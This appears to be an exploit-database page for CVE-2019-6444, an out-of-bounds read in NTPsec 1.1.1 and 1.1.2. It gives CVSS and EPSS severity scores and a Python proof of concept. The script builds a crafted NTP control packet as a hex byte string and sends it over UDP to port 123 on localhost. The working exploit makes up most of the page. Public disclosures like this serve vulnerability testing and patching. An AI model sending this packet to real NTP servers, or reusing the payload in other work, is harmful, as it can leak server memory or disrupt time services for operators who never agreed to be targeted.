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Magnus Klaaborg StubmanEDB-ID:46176HistoryJan 16, 2019 - 12:00 a.m.
NTPsec 1.1.2 - 'ntp_control' Out-of-Bounds Read (PoC)
2019-01-1600:00:00
Magnus Klaaborg Stubman
www.exploit-db.com
35
CVSS2
6.4
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:N/A:P
CVSS3
9.1
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
AI Score
9.5
Confidence
High
EPSS
0.381
Percentile
97.2%
#!/usr/bin/env python
# Exploit Title: ntpsec 1.1.2 OOB read Proof of concept
# Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: https://dumpco.re/bugs/ntpsec-oobread2
# Vendor Homepage: https://ntpsec.org/
# Software Link: ftp://ftp.ntpsec.org/pub/releases/ntpsec-1.1.2.tar.gz
# Affected versions: ntpsec 1.1.1, 1.1.2
# CVE: CVE-2019-6444
# Note: this PoC does not crash the target
import sys
import socket
buf = ("\x8e\x0a\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73" +
"\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73\xdd\xb5" +
"\xc9\x64\xcf\x8a\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x44\x47\x50\x10\x00\x47\xb5\xc9\xcf\x97\xbb\x00\xe5\xf8\xdd" +
"\xb5\xc9\x6b\xd8\x7f\x81\xc2\xdd\xb5\xc9\x6b\xdd\x80\xe4\xe4\xe5" +
"\x9f\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x21\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\xc5\xbf\xbc\x6b\xd8\x7f\x82\x00\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x42\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\xed\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x00\x00\xe4\xe4\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x00" +
"\x01\x00\x00\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x29\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x97\x48\xdd\xb5\xc9\x6b" +
"\xbb\xe8\x08\xf8\xdd\xba\xc9\x6b\xd8\x7f\x82\xc2\xdd\xb5\xc9\x6b" +
"\xd8\x80\x57\x9f")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))Related
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CVSS2
6.4
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:N/A:P
CVSS3
9.1
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
AI Score
9.5
Confidence
High
EPSS
0.381
Percentile
97.2%
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